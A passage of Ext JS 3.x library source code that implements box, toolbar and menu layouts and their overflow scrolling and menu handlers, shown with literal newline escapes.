{\n            a.setSize(d.width, d.height)\n        }\n        if (isNaN(d.left) || isNaN(d.top)) {\n            continue\n        }\n        a.setPosition(d.left, d.top)\n    }\n}, updateInnerCtSize:function (c, h) {\n    var i = this.align, g = this.padding, e = c.width, a = c.height;\n    if (this.type == \"hbox\") {\n        var b = e, d = h.meta.maxHeight + g.top + g.bottom;\n        if (i == \"stretch\") {\n            d = a\n        } else {\n            if (i == \"middle\") {\n                d = Math.max(a, d)\n            }\n        }\n    } else {\n        var d = a, b = h.meta.maxWidth + g.left + g.right;\n        if (i == \"stretch\") {\n            b = e\n        } else {\n            if (i == \"center\") {\n                b = Math.max(e, b)\n            }\n        }\n    }\n    this.innerCt.setSize(b || undefined, d || undefined)\n}, handleTargetOverflow:function (d, a, c) {\n    var e = c.getStyle(\"overflow\");\n    if (e && e != \"hidden\" && !this.adjustmentPass) {\n        var b = this.getLayoutTargetSize();\n        if (b.width != d.width || b.height != d.height) {\n            this.adjustmentPass = true;\n            this.onLayout(a, c)\n        }\n    }\n    delete this.adjustmentPass\n}, isValidParent:function (b, a) {\n    return this.innerCt && b.getPositionEl().dom.parentNode == this.innerCt.dom\n}, getVisibleItems:function (g) {\n    var g = g || this.container, e = g.getLayoutTarget(), h = g.items.items, a = h.length, d, j, b = [];\n    for (d = 0; d < a; d++) {\n        if ((j = h[d]).rendered && this.isValidParent(j, e) && j.hidden !== true && j.collapsed !== true && j.shouldLayout !== false) {\n            b.push(j)\n        }\n    }\n    return b\n}, renderAll:function (a, b) {\n    if (!this.innerCt) {\n        this.innerCt = b.createChild({cls:this.innerCls});\n        this.padding = this.parseMargins(this.padding)\n    }\n    Ext.layout.BoxLayout.superclass.renderAll.call(this, a, this.innerCt)\n}, getLayoutTargetSize:function () {\n    var b = this.container.getLayoutTarget(), a;\n    if (b) {\n        a = b.getViewSize();\n        if (Ext.isIE && Ext.isStrict && a.width == 0) {\n            a = b.getStyleSize()\n        }\n        a.width -= b.getPadding(\"lr\");\n        a.height -= b.getPadding(\"tb\")\n    }\n    return a\n}, renderItem:function (a) {\n    if (Ext.isString(a.margins)) {\n        a.margins = this.parseMargins(a.margins)\n    } else {\n        if (!a.margins) {\n            a.margins = this.defaultMargins\n        }\n    }\n    Ext.layout.BoxLayout.superclass.renderItem.apply(this, arguments)\n}, destroy:function () {\n    Ext.destroy(this.overflowHandler);\n    Ext.layout.BoxLayout.superclass.destroy.apply(this, arguments)\n}});\nExt.layout.boxOverflow.None = Ext.extend(Object, {constructor:function (b, a) {\n    this.layout = b;\n    Ext.apply(this, a || {})\n}, handleOverflow:Ext.emptyFn, clearOverflow:Ext.emptyFn});\nExt.layout.boxOverflow.none = Ext.layout.boxOverflow.None;\nExt.layout.boxOverflow.Menu = Ext.extend(Ext.layout.boxOverflow.None, {afterCls:\"x-strip-right\", noItemsMenuText:'<div class=\"x-toolbar-no-items\">(None)</div>', constructor:function (a) {\n    Ext.layout.boxOverflow.Menu.superclass.constructor.apply(this, arguments);\n    this.menuItems = []\n}, createInnerElements:function () {\n    if (!this.afterCt) {\n        this.afterCt = this.layout.innerCt.insertSibling({cls:this.afterCls}, \"before\")\n    }\n}, clearOverflow:function (a, g) {\n    var e = g.width + (this.afterCt ? this.afterCt.getWidth() : 0), b = this.menuItems;\n    this.hideTrigger();\n    for (var c = 0, d = b.length; c < d; c++) {\n        b.pop().component.show()\n    }\n    return{targetSize:{height:g.height, width:e}}\n}, showTrigger:function () {\n    this.createMenu();\n    this.menuTrigger.show()\n}, hideTrigger:function () {\n    if (this.menuTrigger != undefined) {\n        this.menuTrigger.hide()\n    }\n}, beforeMenuShow:function (h) {\n    var b = this.menuItems, a = b.length, g, e;\n    var c = function (j, i) {\n        return j.isXType(\"buttongroup\") && !(i instanceof Ext.Toolbar.Separator)\n    };\n    this.clearMenu();\n    h.removeAll();\n    for (var d = 0; d < a; d++) {\n        g = b[d].component;\n        if (e && (c(g, e) || c(e, g))) {\n            h.add(\"-\")\n        }\n        this.addComponentToMenu(h, g);\n        e = g\n    }\n    if (h.items.length < 1) {\n        h.add(this.noItemsMenuText)\n    }\n}, createMenuConfig:function (c, a) {\n    var b = Ext.apply({}, c.initialConfig), d = c.toggleGroup;\n    Ext.copyTo(b, c, [\"iconCls\", \"icon\", \"itemId\", \"disabled\", \"handler\", \"scope\", \"menu\"]);\n    Ext.apply(b, {text:c.overflowText || c.text, hideOnClick:a});\n    if (d || c.enableToggle) {\n        Ext.apply(b, {group:d, checked:c.pressed, listeners:{checkchange:function (g, e) {\n            c.toggle(e)\n        }}})\n    }\n    delete b.ownerCt;\n    delete b.xtype;\n    delete b.id;\n    return b\n}, addComponentToMenu:function (b, a) {\n    if (a instanceof Ext.Toolbar.Separator) {\n        b.add(\"-\")\n    } else {\n        if (Ext.isFunction(a.isXType)) {\n            if (a.isXType(\"splitbutton\")) {\n                b.add(this.createMenuConfig(a, true))\n            } else {\n                if (a.isXType(\"button\")) {\n                    b.add(this.createMenuConfig(a, !a.menu))\n                } else {\n                    if (a.isXType(\"buttongroup\")) {\n                        a.items.each(function (c) {\n                            this.addComponentToMenu(b, c)\n                        }, this)\n                    }\n                }\n            }\n        }\n    }\n}, clearMenu:function () {\n    var a = this.moreMenu;\n    if (a && a.items) {\n        a.items.each(function (b) {\n            delete b.menu\n        })\n    }\n}, createMenu:function () {\n    if (!this.menuTrigger) {\n        this.createInnerElements();\n        this.menu = new Ext.menu.Menu({ownerCt:this.layout.container, listeners:{scope:this, beforeshow:this.beforeMenuShow}});\n        this.menuTrigger = new Ext.Button({iconCls:\"x-toolbar-more-icon\", cls:\"x-toolbar-more\", menu:this.menu, renderTo:this.afterCt})\n    }\n}, destroy:function () {\n    Ext.destroy(this.menu, this.menuTrigger)\n}});\nExt.layout.boxOverflow.menu = Ext.layout.boxOverflow.Menu;\nExt.layout.boxOverflow.HorizontalMenu = Ext.extend(Ext.layout.boxOverflow.Menu, {constructor:function () {\n    Ext.layout.boxOverflow.HorizontalMenu.superclass.constructor.apply(this, arguments);\n    var c = this, b = c.layout, a = b.calculateChildBoxes;\n    b.calculateChildBoxes = function (d, i) {\n        var l = a.apply(b, arguments), k = l.meta, e = c.menuItems;\n        var j = 0;\n        for (var g = 0, h = e.length; g < h; g++) {\n            j += e[g].width\n        }\n        k.minimumWidth += j;\n        k.tooNarrow = k.minimumWidth > i.width;\n        return l\n    }\n}, handleOverflow:function (d, h) {\n    this.showTrigger();\n    var k = h.width - this.afterCt.getWidth(), l = d.boxes, e = 0, r = false;\n    for (var o = 0, c = l.length; o < c; o++) {\n        e += l[o].width\n    }\n    var a = k - e, g = 0;\n    for (var o = 0, c = this.menuItems.length; o < c; o++) {\n        var n = this.menuItems[o], m = n.component, b = n.width;\n        if (b < a) {\n            m.show();\n            a -= b;\n            g++;\n            r = true\n        } else {\n            break\n        }\n    }\n    if (r) {\n        this.menuItems = this.menuItems.slice(g)\n    } else {\n        for (var j = l.length - 1; j >= 0; j--) {\n            var q = l[j].component, p = l[j].left + l[j].width;\n            if (p >= k) {\n                this.menuItems.unshift({component:q, width:l[j].width});\n                q.hide()\n            } else {\n                break\n            }\n        }\n    }\n    if (this.menuItems.length == 0) {\n        this.hideTrigger()\n    }\n    return{targetSize:{height:h.height, width:k}, recalculate:r}\n}});\nExt.layout.boxOverflow.menu.hbox = Ext.layout.boxOverflow.HorizontalMenu;\nExt.layout.boxOverflow.Scroller = Ext.extend(Ext.layout.boxOverflow.None, {animateScroll:true, scrollIncrement:100, wheelIncrement:3, scrollRepeatInterval:400, scrollDuration:0.4, beforeCls:\"x-strip-left\", afterCls:\"x-strip-right\", scrollerCls:\"x-strip-scroller\", beforeScrollerCls:\"x-strip-scroller-left\", afterScrollerCls:\"x-strip-scroller-right\", createWheelListener:function () {\n    this.layout.innerCt.on({scope:this, mousewheel:function (a) {\n        a.stopEvent();\n        this.scrollBy(a.getWheelDelta() * this.wheelIncrement * -1, false)\n    }})\n}, handleOverflow:function (a, b) {\n    this.createInnerElements();\n    this.showScrollers()\n}, clearOverflow:function () {\n    this.hideScrollers()\n}, showScrollers:function () {\n    this.createScrollers();\n    this.beforeScroller.show();\n    this.afterScroller.show();\n    this.updateScrollButtons()\n}, hideScrollers:function () {\n    if (this.beforeScroller != undefined) {\n        this.beforeScroller.hide();\n        this.afterScroller.hide()\n    }\n}, createScrollers:function () {\n    if (!this.beforeScroller && !this.afterScroller) {\n        var a = this.beforeCt.createChild({cls:String.format(\"{0} {1} \", this.scrollerCls, this.beforeScrollerCls)});\n        var b = this.afterCt.createChild({cls:String.format(\"{0} {1}\", this.scrollerCls, this.afterScrollerCls)});\n        a.addClassOnOver(this.beforeScrollerCls + \"-hover\");\n        b.addClassOnOver(this.afterScrollerCls + \"-hover\");\n        a.setVisibilityMode(Ext.Element.DISPLAY);\n        b.setVisibilityMode(Ext.Element.DISPLAY);\n        this.beforeRepeater = new Ext.util.ClickRepeater(a, {interval:this.scrollRepeatInterval, handler:this.scrollLeft, scope:this});\n        this.afterRepeater = new Ext.util.ClickRepeater(b, {interval:this.scrollRepeatInterval, handler:this.scrollRight, scope:this});\n        this.beforeScroller = a;\n        this.afterScroller = b\n    }\n}, destroy:function () {\n    Ext.destroy(this.beforeScroller, this.afterScroller, this.beforeRepeater, this.afterRepeater, this.beforeCt, this.afterCt)\n}, scrollBy:function (b, a) {\n    this.scrollTo(this.getScrollPosition() + b, a)\n}, getItem:function (a) {\n    if (Ext.isString(a)) {\n        a = Ext.getCmp(a)\n    } else {\n        if (Ext.isNumber(a)) {\n            a = this.items[a]\n        }\n    }\n    return a\n}, getScrollAnim:function () {\n    return{duration:this.scrollDuration, callback:this.updateScrollButtons, scope:this}\n}, updateScrollButtons:function () {\n    if (this.beforeScroller == undefined || this.afterScroller == undefined) {\n        return\n    }\n    var d = this.atExtremeBefore() ? \"addClass\" : \"removeClass\", c = this.atExtremeAfter() ? \"addClass\" : \"removeClass\", a = this.beforeScrollerCls + \"-disabled\", b = this.afterScrollerCls + \"-disabled\";\n    this.beforeScroller[d](a);\n    this.afterScroller[c](b);\n    this.scrolling = false\n}, atExtremeBefore:function () {\n    return this.getScrollPosition() === 0\n}, scrollLeft:function (a) {\n    this.scrollBy(-this.scrollIncrement, a)\n}, scrollRight:function (a) {\n    this.scrollBy(this.scrollIncrement, a)\n}, scrollToItem:function (d, b) {\n    d = this.getItem(d);\n    if (d != undefined) {\n        var a = this.getItemVisibility(d);\n        if (!a.fullyVisible) {\n            var c = d.getBox(true, true), e = c.x;\n            if (a.hiddenRight) {\n                e -= (this.layout.innerCt.getWidth() - c.width)\n            }\n            this.scrollTo(e, b)\n        }\n    }\n}, getItemVisibility:function (e) {\n    var d = this.getItem(e).getBox(true, true), a = d.x, c = d.x + d.width, g = this.getScrollPosition(), b = this.layout.innerCt.getWidth() + g;\n    return{hiddenLeft:a < g, hiddenRight:c > b, fullyVisible:a > g && c < b}\n}});\nExt.layout.boxOverflow.scroller = Ext.layout.boxOverflow.Scroller;\nExt.layout.boxOverflow.VerticalScroller = Ext.extend(Ext.layout.boxOverflow.Scroller, {scrollIncrement:75, wheelIncrement:2, handleOverflow:function (a, b) {\n    Ext.layout.boxOverflow.VerticalScroller.superclass.handleOverflow.apply(this, arguments);\n    return{targetSize:{height:b.height - (this.beforeCt.getHeight() + this.afterCt.getHeight()), width:b.width}}\n}, createInnerElements:function () {\n    var a = this.layout.innerCt;\n    if (!this.beforeCt) {\n        this.beforeCt = a.insertSibling({cls:this.beforeCls}, \"before\");\n        this.afterCt = a.insertSibling({cls:this.afterCls}, \"after\");\n        this.createWheelListener()\n    }\n}, scrollTo:function (a, b) {\n    var d = this.getScrollPosition(), c = a.constrain(0, this.getMaxScrollBottom());\n    if (c != d && !this.scrolling) {\n        if (b == undefined) {\n            b = this.animateScroll\n        }\n        this.layout.innerCt.scrollTo(\"top\", c, b ? this.getScrollAnim() : false);\n        if (b) {\n            this.scrolling = true\n        } else {\n            this.scrolling = false;\n            this.updateScrollButtons()\n        }\n    }\n}, getScrollPosition:function () {\n    return parseInt(this.layout.innerCt.dom.scrollTop, 10) || 0\n}, getMaxScrollBottom:function () {\n    return this.layout.innerCt.dom.scrollHeight - this.layout.innerCt.getHeight()\n}, atExtremeAfter:function () {\n    return this.getScrollPosition() >= this.getMaxScrollBottom()\n}});\nExt.layout.boxOverflow.scroller.vbox = Ext.layout.boxOverflow.VerticalScroller;\nExt.layout.boxOverflow.HorizontalScroller = Ext.extend(Ext.layout.boxOverflow.Scroller, {handleOverflow:function (a, b) {\n    Ext.layout.boxOverflow.HorizontalScroller.superclass.handleOverflow.apply(this, arguments);\n    return{targetSize:{height:b.height, width:b.width - (this.beforeCt.getWidth() + this.afterCt.getWidth())}}\n}, createInnerElements:function () {\n    var a = this.layout.innerCt;\n    if (!this.beforeCt) {\n        this.afterCt = a.insertSibling({cls:this.afterCls}, \"before\");\n        this.beforeCt = a.insertSibling({cls:this.beforeCls}, \"before\");\n        this.createWheelListener()\n    }\n}, scrollTo:function (a, b) {\n    var d = this.getScrollPosition(), c = a.constrain(0, this.getMaxScrollRight());\n    if (c != d && !this.scrolling) {\n        if (b == undefined) {\n            b = this.animateScroll\n        }\n        this.layout.innerCt.scrollTo(\"left\", c, b ? this.getScrollAnim() : false);\n        if (b) {\n            this.scrolling = true\n        } else {\n            this.scrolling = false;\n            this.updateScrollButtons()\n        }\n    }\n}, getScrollPosition:function () {\n    return parseInt(this.layout.innerCt.dom.scrollLeft, 10) || 0\n}, getMaxScrollRight:function () {\n    return this.layout.innerCt.dom.scrollWidth - this.layout.innerCt.getWidth()\n}, atExtremeAfter:function () {\n    return this.getScrollPosition() >= this.getMaxScrollRight()\n}});\nExt.layout.boxOverflow.scroller.hbox = Ext.layout.boxOverflow.HorizontalScroller;\nExt.layout.HBoxLayout = Ext.extend(Ext.layout.BoxLayout, {align:\"top\", type:\"hbox\", calculateChildBoxes:function (r, b) {\n    var F = r.length, R = this.padding, D = R.top, U = R.left, y = D + R.bottom, O = U + R.right, a = b.width - this.scrollOffset, e = b.height, o = Math.max(0, e - y), P = this.pack == \"start\", W = this.pack == \"center\", A = this.pack == \"end\", L = 0, Q = 0, T = 0, l = 0, X = 0, H = [], k, J, M, V, w, j, S, I, c, x, q, N;\n    for (S = 0; S < F; S++) {\n        k = r[S];\n        M = k.height;\n        J = k.width;\n        j = !k.hasLayout && typeof k.doLayout == \"function\";\n        if (typeof J != \"number\") {\n            if (k.flex && !J) {\n                T += k.flex\n            } else {\n                if (!J && j) {\n                    k.doLayout()\n                }\n                V = k.getSize();\n                J = V.width;\n                M = V.height\n            }\n        }\n        w = k.margins;\n        x = w.left + w.right;\n        L += x + (J || 0);\n        l += x + (k.flex ? k.minWidth || 0 : J);\n        X += x + (k.minWidth || J || 0);\n        if (typeof M != \"number\") {\n            if (j) {\n                k.doLayout()\n            }\n            M = k.getHeight()\n        }\n        Q = Math.max(Q, M + w.top + w.bottom);\n        H.push({component:k, height:M || undefined, width:J || undefined})\n    }\n    var K = l - a, p = X > a;\n    var n = Math.max(0, a - L - O);\n    if (p) {\n        for (S = 0; S < F; S++) {\n            H[S].width = r[S].minWidth || r[S].width || H[S].width\n        }\n    } else {\n        if (K > 0) {\n            var C = [];\n            for (var E = 0, v = F; E < v; E++) {\n                var B = r[E], t = B.minWidth || 0;\n                if (B.flex) {\n                    H[E].width = t\n                } else {\n                    C.push({minWidth:t, available:H[E].width - t, index:E})\n                }\n            }\n            C.sort(function (Y, i) {\n                return Y.available > i.available ? 1 : -1\n            });\n            for (var S = 0, v = C.length; S < v; S++) {\n                var G = C[S].index;\n                if (G == undefined) {\n                    continue\n                }\n                var B = r[G], m = H[G], u = m.width, t = B.minWidth, d = Math.max(t, u - Math.ceil(K / (v - S))), g = u - d;\n                H[G].width = d;\n                K -= g\n            }\n        } else {\n            var h = n, s = T;\n            for (S = 0; S < F; S++) {\n                k = r[S];\n                I = H[S];\n                w = k.margins;\n                q = w.top + w.bottom;\n                if (P && k.flex && !k.width) {\n                    c = Math.ceil((k.flex / s) * h);\n                    h -= c;\n                    s -= k.flex;\n                    I.width = c;\n                    I.dirtySize = true\n                }\n            }\n        }\n    }\n    if (W) {\n        U += n / 2\n    } else {\n        if (A) {\n            U += n\n        }\n    }\n    for (S = 0; S < F; S++) {\n        k = r[S];\n        I = H[S];\n        w = k.margins;\n        U += w.left;\n        q = w.top + w.bottom;\n        I.left = U;\n        I.top = D + w.top;\n        switch (this.align) {\n            case\"stretch\":\n                N = o - q;\n                I.height = N.constrain(k.minHeight || 0, k.maxHeight || 1000000);\n                I.dirtySize = true;\n                break;\n            case\"stretchmax\":\n                N = Q - q;\n                I.height = N.constrain(k.minHeight || 0, k.maxHeight || 1000000);\n                I.dirtySize = true;\n                break;\n            case\"middle\":\n                var z = o - I.height - q;\n                if (z > 0) {\n                    I.top = D + q + (z / 2)\n                }\n        }\n        U += I.width + w.right\n    }\n    return{boxes:H, meta:{maxHeight:Q, nonFlexWidth:L, desiredWidth:l, minimumWidth:X, shortfall:l - a, tooNarrow:p}}\n}});\nExt.Container.LAYOUTS.hbox = Ext.layout.HBoxLayout;\nExt.layout.VBoxLayout = Ext.extend(Ext.layout.BoxLayout, {align:\"left\", type:\"vbox\", calculateChildBoxes:function (o, b) {\n    var E = o.length, R = this.padding, C = R.top, V = R.left, x = C + R.bottom, O = V + R.right, a = b.width - this.scrollOffset, c = b.height, K = Math.max(0, a - O), P = this.pack == \"start\", X = this.pack == \"center\", z = this.pack == \"end\", k = 0, u = 0, U = 0, L = 0, m = 0, G = [], h, I, N, W, t, g, T, H, S, w, n, d, r;\n    for (T = 0; T < E; T++) {\n        h = o[T];\n        N = h.height;\n        I = h.width;\n        g = !h.hasLayout && typeof h.doLayout == \"function\";\n        if (typeof N != \"number\") {\n            if (h.flex && !N) {\n                U += h.flex\n            } else {\n                if (!N && g) {\n                    h.doLayout()\n                }\n                W = h.getSize();\n                I = W.width;\n                N = W.height\n            }\n        }\n        t = h.margins;\n        n = t.top + t.bottom;\n        k += n + (N || 0);\n        L += n + (h.flex ? h.minHeight || 0 : N);\n        m += n + (h.minHeight || N || 0);\n        if (typeof I != \"number\") {\n            if (g) {\n                h.doLayout()\n            }\n            I = h.getWidth()\n        }\n        u = Math.max(u, I + t.left + t.right);\n        G.push({component:h, height:N || undefined, width:I || undefined})\n    }\n    var M = L - c, l = m > c;\n    var q = Math.max(0, (c - k - x));\n    if (l) {\n        for (T = 0, r = E; T < r; T++) {\n            G[T].height = o[T].minHeight || o[T].height || G[T].height\n        }\n    } else {\n        if (M > 0) {\n            var J = [];\n            for (var D = 0, r = E; D < r; D++) {\n                var A = o[D], s = A.minHeight || 0;\n                if (A.flex) {\n                    G[D].height = s\n                } else {\n                    J.push({minHeight:s, available:G[D].height - s, index:D})\n                }\n            }\n            J.sort(function (Y, i) {\n                return Y.available > i.available ? 1 : -1\n            });\n            for (var T = 0, r = J.length; T < r; T++) {\n                var F = J[T].index;\n                if (F == undefined) {\n                    continue\n                }\n                var A = o[F], j = G[F], v = j.height, s = A.minHeight, B = Math.max(s, v - Math.ceil(M / (r - T))), e = v - B;\n                G[F].height = B;\n                M -= e\n            }\n        } else {\n            var Q = q, p = U;\n            for (T = 0; T < E; T++) {\n                h = o[T];\n                H = G[T];\n                t = h.margins;\n                w = t.left + t.right;\n                if (P && h.flex && !h.height) {\n                    S = Math.ceil((h.flex / p) * Q);\n                    Q -= S;\n                    p -= h.flex;\n                    H.height = S;\n                    H.dirtySize = true\n                }\n            }\n        }\n    }\n    if (X) {\n        C += q / 2\n    } else {\n        if (z) {\n            C += q\n        }\n    }\n    for (T = 0; T < E; T++) {\n        h = o[T];\n        H = G[T];\n        t = h.margins;\n        C += t.top;\n        w = t.left + t.right;\n        H.left = V + t.left;\n        H.top = C;\n        switch (this.align) {\n            case\"stretch\":\n                d = K - w;\n                H.width = d.constrain(h.minWidth || 0, h.maxWidth || 1000000);\n                H.dirtySize = true;\n                break;\n            case\"stretchmax\":\n                d = u - w;\n                H.width = d.constrain(h.minWidth || 0, h.maxWidth || 1000000);\n                H.dirtySize = true;\n                break;\n            case\"center\":\n                var y = K - H.width - w;\n                if (y > 0) {\n                    H.left = V + w + (y / 2)\n                }\n        }\n        C += H.height + t.bottom\n    }\n    return{boxes:G, meta:{maxWidth:u, nonFlexHeight:k, desiredHeight:L, minimumHeight:m, shortfall:L - c, tooNarrow:l}}\n}});\nExt.Container.LAYOUTS.vbox = Ext.layout.VBoxLayout;\nExt.layout.ToolbarLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:\"toolbar\", triggerWidth:18, noItemsMenuText:'<div class=\"x-toolbar-no-items\">(None)</div>', lastOverflow:false, tableHTML:['<table cellspacing=\"0\" class=\"x-toolbar-ct\">', \"<tbody>\", \"<tr>\", '<td class=\"x-toolbar-left\" align=\"{0}\">', '<table cellspacing=\"0\">', \"<tbody>\", '<tr class=\"x-toolbar-left-row\"></tr>', \"</tbody>\", \"</table>\", \"</td>\", '<td class=\"x-toolbar-right\" align=\"right\">', '<table cellspacing=\"0\" class=\"x-toolbar-right-ct\">', \"<tbody>\", \"<tr>\", \"<td>\", '<table cellspacing=\"0\">', \"<tbody>\", '<tr class=\"x-toolbar-right-row\"></tr>', \"</tbody>\", \"</table>\", \"</td>\", \"<td>\", '<table cellspacing=\"0\">', \"<tbody>\", '<tr class=\"x-toolbar-extras-row\"></tr>', \"</tbody>\", \"</table>\", \"</td>\", \"</tr>\", \"</tbody>\", \"</table>\", \"</td>\", \"</tr>\", \"</tbody>\", \"</table>\"].join(\"\"), onLayout:function (e, j) {\n    if (!this.leftTr) {\n        var h = e.buttonAlign == \"center\" ? \"center\" : \"left\";\n        j.addClass(\"x-toolbar-layout-ct\");\n        j.insertHtml(\"beforeEnd\", String.format(this.tableHTML, h));\n        this.leftTr = j.child(\"tr.x-toolbar-left-row\", true);\n        this.rightTr = j.child(\"tr.x-toolbar-right-row\", true);\n        this.extrasTr = j.child(\"tr.x-toolbar-extras-row\", true);\n        if (this.hiddenItem == undefined) {\n            this.hiddenItems = []\n        }\n    }\n    var k = e.buttonAlign == \"right\" ? this.rightTr : this.leftTr, l = e.items.items, d = 0;\n    for (var b = 0, g = l.length, m; b < g; b++, d++) {\n        m = l[b];\n        if (m.isFill) {\n            k = this.rightTr;\n            d = -1\n        } else {\n            if (!m.rendered) {\n                m.render(this.insertCell(m, k, d));\n                this.configureItem(m)\n            } else {\n                if (!m.xtbHidden && !this.isValidParent(m, k.childNodes[d])) {\n                    var a = this.insertCell(m, k, d);\n                    a.appendChild(m.getPositionEl().dom);\n                    m.container = Ext.get(a)\n                }\n            }\n        }\n    }\n    this.cleanup(this.leftTr);\n    this.cleanup(this.rightTr);\n    this.cleanup(this.extrasTr);\n    this.fitToSize(j)\n}, cleanup:function (b) {\n    var e = b.childNodes, a, d;\n    for (a = e.length - 1; a >= 0 && (d = e[a]); a--) {\n        if (!d.firstChild) {\n            b.removeChild(d)\n        }\n    }\n}, insertCell:function (e, b, a) {\n    var d = document.createElement(\"td\");\n    d.className = \"x-toolbar-cell\";\n    b.insertBefore(d, b.childNodes[a] || null);\n    return d\n}, hideItem:function (a) {\n    this.hiddenItems.push(a);\n    a.xtbHidden = true;\n    a.xtbWidth = a.getPositionEl().dom.parentNode.offsetWidth;\n    a.hide()\n}, unhideItem:function (a) {\n    a.show();\n    a.xtbHidden = false;\n    this.hiddenItems.remove(a)\n}, getItemWidth:function (a) {\n    return a.hidden ? (a.xtbWidth || 0) : a.getPositionEl().dom.parentNode.offsetWidth\n}, fitToSize:function (k) {\n    if (this.container.enableOverflow === false) {\n        return\n    }\n    var b = k.dom.clientWidth, j = k.dom.firstChild.offsetWidth, m = b - this.triggerWidth, a = this.lastWidth || 0, c = this.hiddenItems, e = c.length != 0, n = b >= a;\n    this.lastWidth = b;\n    if (j > b || (e && n)) {\n        var l = this.container.items.items, h = l.length, d = 0, o;\n        for (var g = 0; g < h; g++) {\n            o = l[g];\n            if (!o.isFill) {\n                d += this.getItemWidth(o);\n                if (d > m) {\n                    if (!(o.hidden || o.xtbHidden)) {\n                        this.hideItem(o)\n                    }\n                } else {\n                    if (o.xtbHidden) {\n                        this.unhideItem(o)\n                    }\n                }\n            }\n        }\n    }\n    e = c.length != 0;\n    if (e) {\n        this.initMore();\n        if (!this.lastOverflow) {\n            this.container.fireEvent(\"overflowchange\", this.container, true);\n            this.lastOverflow = true\n        }\n    } else {\n        if (this.more) {\n            this.clearMenu();\n            this.more.destroy();\n            delete this.more;\n            if (this.lastOverflow) {\n                this.container.fireEvent(\"overflowchange\", this.container, false);\n                this.lastOverflow = false\n            }\n        }\n    }\n}, createMenuConfig:function (c, a) {\n    var b = Ext.apply({}, c.initialConfig), d = c.toggleGroup;\n    Ext.copyTo(b, c, [\"iconCls\", \"icon\", \"itemId\", \"disabled\", \"handler\", \"scope\", \"menu\"]);\n    Ext.apply(b, {text:c.overflowText || c.text, hideOnClick:a});\n    if (d || c.enableToggle) {\n        Ext.apply(b, {group:d, checked:c.pressed, listeners:{checkchange:function (g, e) {\n            c.toggle(e)\n        }}})\n    }\n    delete b.ownerCt;\n    delete b.xtype;\n    delete b.id;\n    return b\n}, addComponentToMenu:function (b, a) {\n    if (a instanceof Ext.Toolbar.Separator) {\n        b.add(\"-\")\n    } else {\n        if (Ext.isFunction(a.isXType)) {\n            if (a.isXType(\"splitbutton\")) {\n                b.add(this.createMenuConfig(a, true))\n            } else {\n                if (a.isXType(\"button\")) {\n                    b.add(this.createMenuConfig(a, !a.menu))\n                } else {\n                    if (a.isXType(\"buttongroup\")) {\n                        a.items.each(function (c) {\n                            this.addComponentToMenu(b, c)\n                        }, this)\n                    }\n                }\n            }\n        }\n    }\n}, clearMenu:function () {\n    var a = this.moreMenu;\n    if (a && a.items) {\n        a.items.each(function (b) {\n            delete b.menu\n        })\n    }\n}, beforeMoreShow:function (h) {\n    var b = this.container.items.items, a = b.length, g, e;\n    var c = function (j, i) {\n        return j.isXType(\"buttongroup\") && !(i instanceof Ext.Toolbar.Separator)\n    };\n    this.clearMenu();\n    h.removeAll();\n    for (var d = 0; d < a; d++) {\n        g = b[d];\n        if (g.xtbHidden) {\n            if (e && (c(g, e) || c(e, g))) {\n                h.add(\"-\")\n            }\n            this.addComponentToMenu(h, g);\n            e = g\n        }\n    }\n    if (h.items.length < 1) {\n        h.add(this.noItemsMenuText)\n    }\n}, initMore:function () {\n    if (!this.more) {\n        this.moreMenu = new Ext.menu.Menu({ownerCt:this.container, listeners:{beforeshow:this.beforeMoreShow, scope:this}});\n        this.more = new Ext.Button({iconCls:\"x-toolbar-more-icon\", cls:\"x-toolbar-more\", menu:this.moreMenu, ownerCt:this.container});\n        var a = this.insertCell(this.more, this.extrasTr, 100);\n        this.more.render(a)\n    }\n}, destroy:function () {\n    Ext.destroy(this.more, this.moreMenu);\n    delete this.leftTr;\n    delete this.rightTr;\n    delete this.extrasTr;\n    Ext.layout.ToolbarLayout.superclass.destroy.call(this)\n}});\nExt.Container.LAYOUTS.toolbar = Ext.layout.ToolbarLayout;\nExt.layout.MenuLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:\"menu\", setContainer:function (a) {\n    this.monitorResize = !a.floating;\n    a.on(\"autosize\", this.doAutoSize, this);\n    Ext.layout.MenuLayout.superclass.setContainer.call(this, a)\n}, renderItem:function (g, b, e) {\n    if (!this.itemTpl) {\n        this.itemTpl = Ext.layout.MenuLayout.prototype.itemTpl = new Ext.XTemplate('<li id=\"{itemId}\" class=\"{itemCls}\">', '<tpl if=\"needsIcon\">', '<img alt=\"{altText}\" src=\"{icon}\" class=\"{iconCls}\"/>', \"</tpl>\", \"</li>\")\n    }\n    if (g && !g.rendered) {\n        if (Ext.isNumber(b)) {\n            b = e.dom.childNodes[b]\n        }\n        var d = this.getItemArgs(g);\n        g.render(g.positionEl = b ? this.itemTpl.insertBefore(b, d, true) : this.itemTpl.append(e, d, true));\n        g.positionEl.menuItemId = g.getItemId();\n        if (!d.isMenuItem && d.needsIcon) {\n            g.positionEl.addClass(\"x-menu-list-item-indent\")\n        }\n        this.configureItem(g)\n    } else {\n        if (g && !this.isValidParent(g, e)) {\n            if (Ext.isNumber(b)) {\n                b = e.dom.childNodes[b]\n            }\n            e.dom.insertBefore(g.getActionEl().dom, b || null)\n        }\n    }\n}, getItemArgs:function (d) {\n    var a = d instanceof Ext.menu.Item, b = !(a || d instanceof Ext.menu.Separator);\n    return{isMenuItem:a, needsIcon:b && (d.icon || d.iconCls), icon:d.icon || Ext.BLANK_IMAGE_URL, iconCls:\"x-menu-item-icon \" + (d.iconCls || \"\"), itemId:\"x-menu-el-\" + d.id, itemCls:\"x-menu-list-item \", altText:d.altText || \"\"}\n}, isValidParent:function (b, a) {\n    return b.el.up(\"li.x-menu-list-item\", 5).dom.parentNode === (a.dom || a)\n}, onLayout:function (a, b) {\n    Ext.layout.MenuLayout.superclass.onLayout.call(this, a, b);\n    this.doAutoSize()\n}, doAutoSize:function () {\n    var c = this.container, a = c.width;\n    if (c.floating) {\n        if (a) {\n            c.setWidth(a)\n        } else {\n            if (Ext.isIE) {\n                c.setWidth(Ext.isStrict && (Ext.isIE7 || Ext.isIE8 || Ext.isIE9) ? \"auto\" : c.minWidth);\n                var d = c.getEl(), b = d.dom.offsetWidth;\n                c.setWidth(c.getLayoutTarget().getWidth() + d.getFrameWidth(\"lr\"))\n            }\n        }\n    }\n}});\nExt.Container.LAYOUTS.menu = Ext.layout.MenuLayout;\nExt.Viewport = Ext.extend(Ext.Container, {initComponent:function () {\n    Ext.Viewport.superclass.initComponent.call(this);\n    